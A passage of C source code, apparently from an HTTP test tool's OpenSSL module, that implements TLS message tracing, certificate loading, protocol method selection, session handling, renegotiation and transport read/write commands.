SERVER-HELLO"; break; case 5: str_details1 = ", SERVER-VERIFY"; break; case 6: str_details1 = ", SERVER-FINISHED"; break; case 7: str_details1 = ", REQUEST-CERTIFICATE"; break; case 8: str_details1 = ", CLIENT-CERTIFICATE"; break; } } } if (version == SSL3_VERSION || version == TLS1_VERSION || #if (OPENSSL_VERSION_NUMBER >= 0x1000100fL) version == TLS1_2_VERSION || version == TLS1_1_VERSION || #endif version == DTLS1_VERSION || version == DTLS1_BAD_VER) { switch (content_type) { case 20: str_content_type = "ChangeCipherSpec"; break; case 21: str_content_type = "Alert"; break; case 22: str_content_type = "Handshake"; break; } if (content_type == 21) { str_details1 = ", ???"; if (len == 2) { switch (((const unsigned char*)buf)[0]) { case 1: str_details1 = ", warning"; break; case 2: str_details1 = ", fatal"; break; } str_details2 = " ???"; switch (((const unsigned char*)buf)[1]) { case 0: str_details2 = " close_notify"; break; case 10: str_details2 = " unexpected_message"; break; case 20: str_details2 = " bad_record_mac"; break; case 21: str_details2 = " decryption_failed"; break; case 22: str_details2 = " record_overflow"; break; case 30: str_details2 = " decompression_failure"; break; case 40: str_details2 = " handshake_failure"; break; case 42: str_details2 = " bad_certificate"; break; case 43: str_details2 = " unsupported_certificate"; break; case 44: str_details2 = " certificate_revoked"; break; case 45: str_details2 = " certificate_expired"; break; case 46: str_details2 = " certificate_unknown"; break; case 47: str_details2 = " illegal_parameter"; break; case 48: str_details2 = " unknown_ca"; break; case 49: str_details2 = " access_denied"; break; case 50: str_details2 = " decode_error"; break; case 51: str_details2 = " decrypt_error"; break; case 60: str_details2 = " export_restriction"; break; case 70: str_details2 = " protocol_version"; break; case 71: str_details2 = " insufficient_security"; break; case 80: str_details2 = " internal_error"; break; case 90: str_details2 = " user_canceled"; break; case 100: str_details2 = " no_renegotiation"; break; case 110: str_details2 = " unsupported_extension"; break; case 111: str_details2 = " certificate_unobtainable"; break; case 112: str_details2 = " unrecognized_name"; break; case 113: str_details2 = " bad_certificate_status_response"; break; case 114: str_details2 = " bad_certificate_hash_value"; break; case 115: str_details2 = " unknown_psk_identity"; break; } } } if (content_type == 22) { str_details1 = "???"; if (len > 0) { switch (((const unsigned char*)buf)[0]) { case 0: str_details1 = ", HelloRequest"; break; case 1: str_details1 = ", ClientHello"; break; case 2: str_details1 = ", ServerHello"; break; case 3: str_details1 = ", HelloVerifyRequest"; break; case 11: str_details1 = ", Certificate"; break; case 12: str_details1 = ", ServerKeyExchange"; break; case 13: str_details1 = ", CertificateRequest"; break; case 14: str_details1 = ", ServerHelloDone"; break; case 15: str_details1 = ", CertificateVerify"; break; case 16: str_details1 = ", ClientKeyExchange"; break; case 20: str_details1 = ", Finished"; break; } } } #ifndef OPENSSL_NO_HEARTBEATS if (content_type == 24) /* Heartbeat */ { str_details1 = ", Heartbeat"; if (len > 0) { switch (((const unsigned char*)buf)[0]) { case 1: str_details1 = ", HeartbeatRequest"; break; case 2: str_details1 = ", HeartbeatResponse"; break; } } } #endif } entry = apr_psprintf(config->msg_pool, "%c%s: %s%s%s", dir, str_version, str_content_type, str_details1, str_details2); apr_table_addn(config->msgs, apr_psprintf(config->msg_pool, "TRUE"), entry); worker_log_buf(worker, LOG_INFO, dir, entry, strlen(entry)); } /** * Get server ctx with loaded cert and key file * * @param worker IN thread object data * * @return APR_SUCCESS or APR_ECONNABORTED */ static apr_status_t worker_ssl_ctx(worker_t * worker, const char *certfile, const char *keyfile, const char *ca, int check) { int len = 0; ssl_wconf_t *wconf = ssl_get_worker_config(worker); if (wconf->flags & SSL_CONFIG_FLAGS_CERT_SET) { return APR_SUCCESS; } if (certfile && !keyfile && !ca) { ca = certfile; certfile = NULL; } if (wconf->set_ca && !ca) { ca = wconf->set_ca; } /* test if there are the same cert, key ca files or no certs at all */ if (!( (((!wconf->certfile && !certfile) || (wconf->certfile && certfile && strcmp(wconf->certfile, certfile) == 0)) && ((!wconf->keyfile && !keyfile) || (wconf->keyfile && keyfile && strcmp(wconf->keyfile, keyfile) == 0)) && ((!wconf->cafile && !ca) || (wconf->cafile && ca && strcmp(wconf->cafile, ca) == 0))))) { /* if there are not the same cert, key, ca files reinitialize ssl_ctx */ if (wconf->ssl_ctx) { SSL_CTX_free(wconf->ssl_ctx); wconf->ssl_ctx = NULL; } } if (wconf->cert_pool) { apr_pool_destroy(wconf->cert_pool); } apr_pool_create(&wconf->cert_pool, NULL); wconf->certfile = certfile ? apr_pstrdup(wconf->cert_pool, certfile) : NULL; wconf->keyfile = keyfile ? apr_pstrdup(wconf->cert_pool, keyfile) : NULL; wconf->cafile = ca ? apr_pstrdup(wconf->cert_pool, ca) : NULL; worker_log(worker, LOG_DEBUG, "cert: %s; key: %s; ca: %s\n", certfile?certfile:"(null)", keyfile?keyfile:"(null)", ca?ca:"(null)"); if (!wconf->ssl_ctx) { if (!(wconf->ssl_ctx = SSL_CTX_new(wconf->meth))) { worker_log(worker, LOG_ERR, "Could not initialize SSL Context."); return APR_EINVAL; } } /* test if it is a p12 cert */ if (certfile) { len = strlen(certfile); if (len > 4) { worker_log(worker, LOG_DEBUG, "certifcate suffix \"%s\"", &certfile[len-4]); } } if (len > 4 && strcmp(&certfile[len - 4], ".p12") == 0) { apr_status_t status; worker_log(worker, LOG_DEBUG, "pkcs12 certifcate"); if ((status = worker_ssl_ctx_p12(worker, certfile, keyfile, check)) != APR_SUCCESS) { return status; } } else { worker_log(worker, LOG_DEBUG, "pem formated cert and key"); if (certfile && SSL_CTX_use_certificate_file(wconf->ssl_ctx, certfile, SSL_FILETYPE_PEM) <= 0 && check) { worker_log(worker, LOG_ERR, "Could not load certifacte \"%s\"", certfile); return APR_EINVAL; } if (keyfile && SSL_CTX_use_PrivateKey_file(wconf->ssl_ctx, keyfile, SSL_FILETYPE_PEM) <= 0 && check) { worker_log(worker, LOG_ERR, "Could not load private key \"%s\"", keyfile); return APR_EINVAL; } if (ca && !SSL_CTX_load_verify_locations(wconf->ssl_ctx, ca, NULL) && check) { worker_log(worker, LOG_ERR, "Could not load CA file \"%s\"", ca); return APR_EINVAL; } if (certfile && keyfile&& check && !SSL_CTX_check_private_key(wconf->ssl_ctx)) { worker_log(worker, LOG_ERR, "Private key does not match the certificate public key"); return APR_EINVAL; } } #if (OPENSSL_VERSION_NUMBER < 0x00905100L) SSL_CTX_set_verify_depth(wconf->ssl_ctx,1); #endif return APR_SUCCESS; } /** * Get client method * * @param worker IN thread object data * @param sslstr IN SSL|SSL2|SSL3|TLS1|DTLS1 * * @return APR_SUCCESS or APR_ECONNABORTED */ static int worker_set_client_method(worker_t * worker, const char *sslstr) { int is_ssl = 0; ssl_wconf_t *config = ssl_get_worker_config(worker); if (strcasecmp(sslstr, "SSL") == 0) { is_ssl = 1; config->meth = SSLv23_client_method(); } #ifndef OPENSSL_NO_SSL2 else if (strcasecmp(sslstr, "SSL2") == 0) { is_ssl = 1; config->meth = SSLv2_client_method(); } #endif else if (strcasecmp(sslstr, "SSL3") == 0) { is_ssl = 1; config->meth = SSLv3_client_method(); } else if (strcasecmp(sslstr, "TLS1") == 0) { is_ssl = 1; config->meth = TLSv1_client_method(); } #if (OPENSSL_VERSION_NUMBER >= 0x1000100fL) else if (strcasecmp(sslstr, "TLS1.1") == 0) { is_ssl = 1; config->meth = TLSv1_1_client_method(); } else if (strcasecmp(sslstr, "TLS1.2") == 0) { is_ssl = 1; config->meth = TLSv1_2_client_method(); } #endif else if (strcasecmp(sslstr, "DTLS1") == 0) { is_ssl = 1; config->meth = DTLSv1_client_method(); } return is_ssl; } /** * Get server method * * @param worker IN thread object data * @param sslstr IN SSL|SSL2|SSL3|TLS1|DTLS1 * * @return APR_SUCCESS or APR_ECONNABORTED */ static int worker_set_server_method(worker_t * worker, const char *sslstr) { int is_ssl = 0; ssl_wconf_t *config = ssl_get_worker_config(worker); if (strcasecmp(sslstr, "SSL") == 0) { is_ssl = 1; config->meth = SSLv23_server_method(); } #ifndef OPENSSL_NO_SSL2 else if (strcasecmp(sslstr, "SSL2") == 0) { is_ssl = 1; config->meth = SSLv2_server_method(); } #endif else if (strcasecmp(sslstr, "SSL3") == 0) { is_ssl = 1; config->meth = SSLv3_server_method(); } else if (strcasecmp(sslstr, "TLS1") == 0) { is_ssl = 1; config->meth = TLSv1_server_method(); } #if (OPENSSL_VERSION_NUMBER >= 0x1000100fL) else if (strcasecmp(sslstr, "TLS1.1") == 0) { is_ssl = 1; config->meth = TLSv1_1_server_method(); } else if (strcasecmp(sslstr, "TLS1.2") == 0) { is_ssl = 1; config->meth = TLSv1_2_server_method(); } #endif else if (strcasecmp(sslstr, "DTLS1") == 0) { is_ssl = 1; config->meth = DTLSv1_server_method(); } return is_ssl; } /** * create new ssl instance * * @param worker IN callee * @return apr status */ static apr_status_t ssl_new_instance(worker_t *worker) { ssl_wconf_t *config = ssl_get_worker_config(worker); ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (config->msg_worker) { worker_destroy(config->msg_worker); } worker_new(&config->msg_worker, NULL, worker->global, worker->interpret); config->msg_worker->config = worker->config; if ((sconfig->ssl = SSL_new(config->ssl_ctx)) == NULL) { worker_log(worker, LOG_ERR, "SSL_new failed."); return APR_ECONNREFUSED; } SSL_set_ssl_method(sconfig->ssl, config->meth); if (config->flags & SSL_CONFIG_FLAGS_TRACE) { #ifndef OPENSSL_NO_TLSEXT SSL_set_tlsext_debug_callback(sconfig->ssl, ssl_tlsext_trace); SSL_set_tlsext_debug_arg(sconfig->ssl, config->msg_worker); #endif SSL_set_msg_callback(sconfig->ssl, ssl_message_trace); SSL_set_msg_callback_arg(sconfig->ssl, config->msg_worker); } if (config->cipher_suite != NULL) { if (SSL_set_cipher_list(sconfig->ssl, config->cipher_suite) == 0) { return APR_EINVAL; } } return APR_SUCCESS; } /** * Do a ssl accept * * @param worker IN thread data object * * @return APR_SUCCESS */ static apr_status_t worker_ssl_accept(worker_t * worker) { apr_status_t status; char *error; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (worker->socket->is_ssl) { if (!sconfig->ssl) { BIO *bio; apr_os_sock_t fd; if ((status = ssl_new_instance(worker)) != APR_SUCCESS) { return status; } /** * openssl 1.0.1b want this ... * Have to understand this first, before I do add it SSL_set_session_id_context(sconfig->ssl, "foobar", strlen("foobar")); */ ssl_rand_seed(); apr_os_sock_get(&fd, worker->socket->socket); bio = BIO_new_socket(fd, BIO_NOCLOSE); SSL_set_bio(sconfig->ssl, bio, bio); } else { return APR_SUCCESS; } } else { return APR_SUCCESS; } if ((status = ssl_accept(sconfig->ssl, &error, worker->pbody)) != APR_SUCCESS) { worker_log(worker, LOG_ERR, "%s", error); } return status; } /** * Get os socket descriptor * * @param data IN void pointer to socket * @param desc OUT os socket descriptor * @return APR_ENOENT */ static apr_status_t ssl_transport_os_desc_get(void *data, int *desc) { return APR_ENOENT; } /** * Set timeout * * @param data IN void pointer to socket * @param t IN timeout * @return APR_ENOENT */ static apr_status_t ssl_transport_set_timeout(void *data, apr_interval_time_t t) { ssl_transport_t *ssl_transport = data; ssl_transport->tmo = t; return transport_set_timeout(ssl_transport->tcp_transport, t); } /** * Get timeout * * @param data IN void pointer to socket * @param t OUT timeout * @return APR_ENOENT */ static apr_status_t ssl_transport_get_timeout(void *data, apr_interval_time_t *t) { ssl_transport_t *ssl_transport = data; return transport_get_timeout(ssl_transport->tcp_transport, t); } /** * read from socket * * @param data IN void pointer to socket * @param buf IN buffer * @param size INOUT buffer len * @return apr status */ static apr_status_t ssl_transport_read(void *data, char *buf, apr_size_t *size) { ssl_transport_t *ssl_transport = data; apr_status_t status; apr_time_t start = apr_time_now(); apr_time_t cur; tryagain: cur = apr_time_now(); if (apr_time_as_msec(cur) - apr_time_as_msec(start) > ssl_transport->tmo) { return APR_TIMEUP; } apr_sleep(1); status = SSL_read(ssl_transport->ssl, buf, *size); if (status <= 0) { int scode = SSL_get_error(ssl_transport->ssl, status); if (scode == SSL_ERROR_ZERO_RETURN) { *size = 0; return APR_EOF; } else if (scode != SSL_ERROR_WANT_WRITE && scode != SSL_ERROR_WANT_READ) { *size = 0; return APR_ECONNABORTED; } else { goto tryagain; } } else { *size = status; return APR_SUCCESS; } return APR_ENOTIMPL; } /** * write to socket * * @param data IN void pointer to socket * @param buf IN buffer * @param size INOUT buffer len * @return apr status */ static apr_status_t ssl_transport_write(void *data, const char *buf, apr_size_t size) { ssl_transport_t *ssl_transport = data; apr_size_t e_ssl; tryagain: apr_sleep(1); e_ssl = SSL_write(ssl_transport->ssl, buf, size); if (e_ssl != size) { int scode = SSL_get_error(ssl_transport->ssl, e_ssl); if (scode == SSL_ERROR_WANT_WRITE) { goto tryagain; } return APR_ECONNABORTED; } return APR_SUCCESS; } /************************************************************************ * Commands ***********************************************************************/ /** * SSL:SET_DEFAULT_CERT command * @param worker IN thread data object * @param data IN * @return APR_SUCCESS or APR_EINVAL */ static apr_status_t block_SSL_SET_DEFAULT_CERT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_status_t status; global_t *global = worker->global; ssl_gconf_t *gconf = ssl_get_global_config(global); if ((status = module_check_global(worker)) != APR_SUCCESS) { return status; } gconf->certfile = store_get_copy(worker->params, global->pool, "1"); gconf->keyfile = store_get_copy(worker->params, global->pool, "2"); gconf->cafile = store_get_copy(worker->params, global->pool, "3"); return APR_SUCCESS; } /** * Connect block * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_SSL_CONNECT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *sslstr; int is_ssl; BIO *bio; apr_os_sock_t fd; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); sslstr = store_get(worker->params, "1"); if (!sslstr) { worker_log(worker, LOG_ERR, "Missing type, must be one of SSL|SSL2|SSL3|TLS1"); return APR_EGENERAL; } is_ssl = worker_set_client_method(worker, sslstr); if (!is_ssl) { worker_log(worker, LOG_ERR, "%s is not supported", sslstr); return APR_ENOTIMPL; } worker->socket->is_ssl = is_ssl; if (worker->socket->socket_state == SOCKET_CONNECTED) { if (worker->socket->is_ssl) { transport_t *transport; ssl_transport_t *ssl_transport; const char *cert; const char *key; const char *ca; apr_status_t status; cert = store_get(worker->params, "2"); key = store_get(worker->params, "3"); ca = store_get(worker->params, "4"); if ((status = worker_ssl_ctx(worker, cert, key, ca, 1)) != APR_SUCCESS) { return status; } if ((status = ssl_new_instance(worker)) != APR_SUCCESS) { return status; } ssl_rand_seed(); apr_os_sock_get(&fd, worker->socket->socket); bio = BIO_new_socket(fd, BIO_NOCLOSE); SSL_set_bio(sconfig->ssl, bio, bio); if (sconfig->sess) { SSL_set_session(sconfig->ssl, sconfig->sess); SSL_SESSION_free(sconfig->sess); sconfig->sess = NULL; } SSL_set_connect_state(sconfig->ssl); if ((status = worker_ssl_handshake(worker)) != APR_SUCCESS) { return status; } ssl_transport = ssl_get_transport(worker, sconfig); transport = transport_new(ssl_transport, worker->pbody, ssl_transport_os_desc_get, ssl_transport_set_timeout, ssl_transport_get_timeout, ssl_transport_read, ssl_transport_write); transport_register(worker->socket, transport); if (worker->socket->sockreader) { sockreader_set_transport(worker->socket->sockreader, transport); } } } else { worker_log(worker, LOG_ERR, "Can not do a SSL connect, cause no TCP connection available"); return APR_EGENERAL; } return APR_SUCCESS; } /** * Accept block * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_SSL_ACCEPT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *sslstr; int is_ssl; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); sslstr = store_get(worker->params, "1"); if (!sslstr) { worker_log(worker, LOG_ERR, "Missing type, must be one of SSL|SSL2|SSL3|TLS1"); return APR_EGENERAL; } is_ssl = worker_set_server_method(worker, sslstr); if (!is_ssl) { worker_log(worker, LOG_ERR, "%s is not supported", sslstr); return APR_ENOTIMPL; } worker->socket->is_ssl = is_ssl; if (worker->socket->socket_state == SOCKET_CONNECTED) { if (worker->socket->is_ssl) { transport_t *transport; ssl_transport_t *ssl_transport; const char *cert; const char *key; const char *ca; apr_status_t status; ssl_gconf_t *gconf = ssl_get_global_config(worker->global); cert = store_get(worker->params, "2"); key = store_get(worker->params, "3"); ca = store_get(worker->params, "4"); if (!cert) { cert = gconf->certfile; } if (!key) { key = gconf->keyfile; } if ((status = worker_ssl_ctx(worker, cert, key, ca, 1)) != APR_SUCCESS) { return status; } if ((status = worker_ssl_accept(worker)) != APR_SUCCESS) { return status; } ssl_transport = ssl_get_transport(worker, sconfig); transport = transport_new(ssl_transport, worker->pbody, ssl_transport_os_desc_get, ssl_transport_set_timeout, ssl_transport_get_timeout, ssl_transport_read, ssl_transport_write); transport_register(worker->socket, transport); if (worker->socket->sockreader) { sockreader_set_transport(worker->socket->sockreader, transport); } } } else { worker_log(worker, LOG_ERR, "Can not do a SSL connect, cause no TCP connection available"); return APR_EGENERAL; } return APR_SUCCESS; } /** * Close block * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_SSL_CLOSE(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { return command_CLOSE(NULL, worker, "SSL", ptmp); } /** * Get session block * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_SSL_GET_SESSION(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *copy = store_get(worker->params, "1"); ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (!copy) { worker_log(worker, LOG_ERR, "Missing varibale name to store session in"); return APR_EGENERAL; } if (!worker->socket || !worker->socket->socket || !worker->socket->is_ssl) { worker_log(worker, LOG_ERR, "No established ssl socket"); return APR_ENOSOCKET; } if (worker->socket->is_ssl) { if (sconfig->ssl) { apr_size_t b64_len; char *b64_str; apr_size_t enc_len; unsigned char *enc; unsigned char *tmp; SSL_SESSION *sess = SSL_get_session(sconfig->ssl); /* serialize to a variable an store it */ enc_len = i2d_SSL_SESSION(sess, NULL); enc = apr_pcalloc(ptmp, enc_len); tmp = enc; enc_len = i2d_SSL_SESSION(sess, &tmp); b64_len = apr_base64_encode_len(enc_len); b64_str = apr_pcalloc(ptmp, b64_len); apr_base64_encode_binary(b64_str, enc, enc_len); worker_var_set(parent, copy, b64_str); } } return APR_SUCCESS; } /** * Set session block * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_SSL_SET_SESSION(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *copy = store_get(worker->params, "1"); ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (!copy) { worker_log(worker, LOG_ERR, "Missing session to set on SSL"); return APR_EGENERAL; } if (!worker->socket) { worker_log(worker, LOG_ERR, "No established ssl socket"); return APR_ENOSOCKET; } { apr_size_t enc_len; unsigned char *enc; const unsigned char *tmp; const char *b64_str = copy; if (b64_str) { enc_len = apr_base64_decode_len(b64_str); enc = apr_pcalloc(ptmp, enc_len); apr_base64_decode_binary(enc, b64_str); tmp = enc; sconfig->sess = d2i_SSL_SESSION(NULL, &tmp, enc_len); } else { worker_log(worker, LOG_ERR, "Variable \"%s\" does not exist", copy); return APR_ENOENT; } } return APR_SUCCESS; } /** * Set session block * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_SSL_GET_SESSION_ID(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *copy = store_get(worker->params, "1"); SSL_SESSION *sess; char *val; ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (!copy) { worker_log(worker, LOG_ERR, "Missing varibale name to store session in"); return APR_EGENERAL; } if (!worker->socket || !sconfig->ssl) { worker_log(worker, LOG_ERR, "Need an ssl connection"); return APR_ENOSOCKET; } sess = SSL_get_session(sconfig->ssl); if (sess) { val = apr_pcalloc(ptmp, apr_base64_encode_len(sess->session_id_length)); apr_base64_encode_binary(val, sess->session_id, sess->session_id_length); worker_var_set(parent, copy, val); } else { return APR_ENOENT; } return APR_SUCCESS; } /** * Set session block * * @param worker IN * @param parent IN * * @return APR_SUCCESS or an APR error */ static apr_status_t block_SSL_RENEG_CERT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { int rc; const char *copy = store_get(worker->params, "1"); ssl_wconf_t *config = ssl_get_worker_config(worker); ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (config->cert) { X509_free(config->cert); } config->cert = NULL; if (!worker->socket->is_ssl || !sconfig->ssl) { worker_log(worker, LOG_ERR, "No ssl connection established can not verify peer"); return APR_ENOSOCKET; } if (worker->flags & FLAGS_SERVER) { /* if we are server request the peer cert */ if (copy && strcasecmp(copy, "verify") == 0) { if (logger_get_mode(worker->logger) >= LOG_DEBUG) { SSL_set_verify(sconfig->ssl, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, debug_verify_callback); } else { SSL_set_verify(sconfig->ssl, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, NULL); } } else { SSL_set_verify(sconfig->ssl, SSL_VERIFY_PEER | SSL_VERIFY_FAIL_IF_NO_PEER_CERT, skip_verify_callback); } SSL_set_session_id_context(sconfig->ssl, (void *)ssl_module, strlen(ssl_module)); if (worker->flags & FLAGS_SSL_LEGACY) { #if (OPENSSL_VERSION_NUMBER >= 0x009080cf) #ifdef SSL3_FLAGS_ALLOW_UNSAFE_LEGACY_RENEGOTIATION sconfig->ssl->s3->flags |= SSL3_FLAGS_ALLOW_UNSAFE_LEGACY_RENEGOTIATION; #else SSL_set_options(sconfig->ssl, SSL_OP_ALLOW_UNSAFE_LEGACY_RENEGOTIATION); #endif #endif } if((rc = SSL_renegotiate(sconfig->ssl) <= 0)) { worker_log(worker, LOG_ERR, "SSL renegotiation a error: %d", rc); return APR_EACCES; } worker_ssl_handshake(worker); sconfig->ssl->state=SSL_ST_ACCEPT; worker_ssl_handshake(worker); config->cert = SSL_get_peer_certificate(sconfig->ssl); if (copy && strcasecmp(copy, "verify") == 0) { if (!config->cert) { worker_log(worker, LOG_ERR, "No peer certificate"); return APR_EACCES; } } } else { config->cert = SSL_get_peer_certificate(sconfig->ssl); if (!config->cert) { worker_log(worker, LOG_ERR, "No peer certificate"); return APR_EACCES; } if (copy && strcasecmp(copy, "verify") == 0) { if((rc = SSL_get_verify_result(sconfig->ssl)) != X509_V_OK) { worker_log(worker, LOG_ERR, "SSL peer verify failed: %s(%d)", X509_verify_cert_error_string(rc), rc); return APR_EACCES; } } } return APR_SUCCESS; } /** * SSL_CERT_VAL command * @param worker IN thread data object * @param data IN ssl variable and a variable name * * @return APR_SUCCESS */ static apr_status_t block_SSL_GET_CERT_VALUE(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { char *val = NULL; const char *cmd = store_get(worker->params, "1"); const char *var = store_get(worker->params, "2"); ssl_wconf_t *config = ssl_get_worker_config(worker); if (!cmd) { worker_log(worker, LOG_ERR, "SSL variable name is missing"); return APR_EGENERAL; } if (!var) { worker_log(worker, LOG_ERR, "variable name to store result is missing"); return APR_EGENERAL; } if (!config || !config->cert) { worker_log(worker, LOG_ERR, "no peer cert"); return APR_EINVAL; } val = ssl_var_lookup_ssl_cert(ptmp, config->cert, cmd); if (!val) { worker_log(worker, LOG_ERR, "SSL value for \"%s\" not found", cmd); return APR_ENOENT; } worker_var_set(parent, var, val); return APR_SUCCESS; } /** * SSL_SECURE_RENEG_SUPPORTED command * * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ static apr_status_t block_SSL_SET_ENGINE(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { #ifndef OPENSSL_NO_ENGINE const char *copy = store_get(worker->params, "1"); BIO *bio_err = BIO_new_fp(stderr,BIO_NOCLOSE); if (!setup_engine(bio_err, copy, logger_get_mode(worker->logger) == LOG_DEBUG ? 1 : 0)) { worker_log(worker, LOG_ERR, "Could not initialize engine \"%s\".", copy); return APR_EINVAL; } #endif return APR_ENOTIMPL; } /** * SSL_CIPHER_SUITE command * * See http://www.openssl.org/docs/apps/ciphers.html * * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or APR_EINVAL */ static apr_status_t block_SSL_CIPHER_SUITE(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { ssl_wconf_t *config = ssl_get_worker_config(worker); const char *val = store_get(worker->params, "1"); char *copy = apr_pstrdup(worker->pbody, val); config->cipher_suite = copy; return APR_SUCCESS; } /** * SSL_LEGACY command * * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ static apr_status_t block_SSL_SET_LEGACY(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *copy = store_get(worker->params, "1"); if (strcasecmp(copy, "on") == 0) { worker->flags |= FLAGS_SSL_LEGACY; } else { worker->flags &= ~FLAGS_SSL_LEGACY; } return APR_SUCCESS; } /** * SSL_LOAD_CERT command * * @param worker IN thread data object * @param data IN ssl variable and a variable name * * @return APR_SUCCESS */ static apr_status_t block_SSL_LOAD_CERT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *val = store_get(worker->params, "1"); char *copy = apr_pstrdup(worker->pbody, val); BIO *mem; ssl_wconf_t *config = ssl_get_worker_config(worker); if (config->cert) { X509_free(config->cert); } mem = BIO_new_mem_buf(copy, strlen(copy)); config->cert = PEM_read_bio_X509(mem,NULL,NULL,NULL); if (!config->cert) { worker_log(worker, LOG_ERR, "Not a valid cert (PEM)"); return APR_EINVAL; } return APR_SUCCESS; } /** * SSL_LOAD_KEY command * * @param worker IN thread data object * @param data IN ssl variable and a variable name * * @return APR_SUCCESS */ static apr_status_t block_SSL_LOAD_KEY(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { const char *val = store_get(worker->params, "1"); char *copy = apr_pstrdup(worker->pbody, val); BIO *mem; ssl_wconf_t *config = ssl_get_worker_config(worker); if (config->pkey) { EVP_PKEY_free(config->pkey); } mem = BIO_new_mem_buf(copy, strlen(copy)); config->pkey = PEM_read_bio_PrivateKey(mem,NULL,NULL,NULL); if (!config->pkey) { worker_log(worker, LOG_ERR, "Not a valid cert (PEM)"); return APR_EINVAL; } return APR_SUCCESS; } /** * SSL_SET_CERT command * * @param worker IN thread data object * @param data IN ssl variable and a variable name * * @return APR_SUCCESS */ static apr_status_t block_SSL_SET_CERT(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { ssl_wconf_t *config = ssl_get_worker_config(worker); if (!config->ssl_ctx) { worker_log(worker, LOG_ERR, "Can not set cert, ssl not enabled in %s", (worker->flags & FLAGS_SERVER) ? "SERVER" : "CLIENT"); return APR_EINVAL; } /* check if we have parameters */ if (store_get_size(worker->params)) { const char *cert; const char *key; const char *ca; cert = store_get(worker->params, "1"); key = store_get(worker->params, "2"); ca = store_get(worker->params, "3"); worker_ssl_ctx(worker, cert, key, ca, 1); config->flags |= SSL_CONFIG_FLAGS_CERT_SET; return APR_SUCCESS; } /* else set cert */ if (!config || !config->cert) { worker_log(worker, LOG_ERR, "No cert to use, get a cert with _SSL:LOAD_CERT"); return APR_EINVAL; } if (SSL_CTX_use_certificate(config->ssl_ctx, config->cert) <=0) { worker_log(worker, LOG_ERR, "Can not use this cert"); return APR_EINVAL; } return APR_SUCCESS; } /** * SSL_SET_CA command * * @param worker IN thread data object * @param data IN ssl variable and a variable name * * @return APR_SUCCESS */ static apr_status_t block_SSL_SET_CA(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { ssl_wconf_t *config = ssl_get_worker_config(worker); /* check if we have parameters */ if (store_get_size(worker->params)) { config->set_ca = store_get_copy(worker->params, worker->pbody, "1"); return APR_SUCCESS; } return APR_SUCCESS; } /** * SSL_SECURE_RENEG_SUPPORTED command * * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ static apr_status_t block_SSL_SECURE_RENEG_SUPPORTED(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { #if (define USE_SSL && OPENSSL_VERSION_NUMBER >= 0x009080ff) ssl_sconf_t *sconfig = ssl_get_socket_config(worker); if (SSL_get_secure_renegotiation_support(sconfig->ssl)) { return APR_SUCCESS; } else { return APR_EINVAL; } #else return APR_ENOTIMPL; #endif } /** * SSL_TRACE_START command * * @param worker IN thread data object * @param data IN * * @return APR_SUCCESS or apr error code */ static apr_status_t block_SSL_TRACE(worker_t * worker, worker_t *parent, apr_pool_t *ptmp) { apr_pool_t *pool; ssl_wconf_t *config = ssl_get_worker_config(worker); config->flags |= SSL_CONFIG_FLAGS_TRACE; apr_pool_create(&pool, NULL); config->msg_pool = pool; config->msgs = apr_table_make(pool, 5); return APR_SUCCESS; } /** * clone worker * * @param worker IN * @param clone IN * @return APR_SUCCESS */ static apr_status_t ssl_worker_clone(worker_t *worker, worker_t *clone) { ssl_wconf_t *config = ssl_get_worker_config(worker); worker_get_socket(clone, "Default", "0"); clone->socket->is_ssl = worker->socket->is_ssl; if (config->meth) { ssl_wconf_t *clone_config = ssl_get_worker_config(clone); /* copy workers content to clone */ memcpy(clone_config, config, sizeof(*clone_config)); clone_config->cert_pool = NULL; clone_config->certfile = NULL; clone_config->keyfile = NULL; clone_config->cafile = NULL; clone_config->ssl_ctx = NULL; return worker_ssl_ctx(clone, config->certfile, config->keyfile, config->cafile, 0); } return APR_SUCCESS; } /** * parse line and extract the SSL relevant stuff * * @param worker IN * @param line IN original line * @param new_line OUT manipulated * * @return APR_SUCCESS or apr error */ static apr_status_t ssl_client_port_args(worker_t *worker, char *portinfo, char **new_portinfo, char *rest) { apr_status_t status; char *port; char *last; char *copy = apr_pstrdup(worker->pbody, portinfo); char *sslstr = apr_strtok(copy, ":", &port); char *cert = NULL; char *key = NULL; char *ca = NULL; ssl_wconf_t *config = ssl_get_worker_config(worker); if (!worker->socket) { 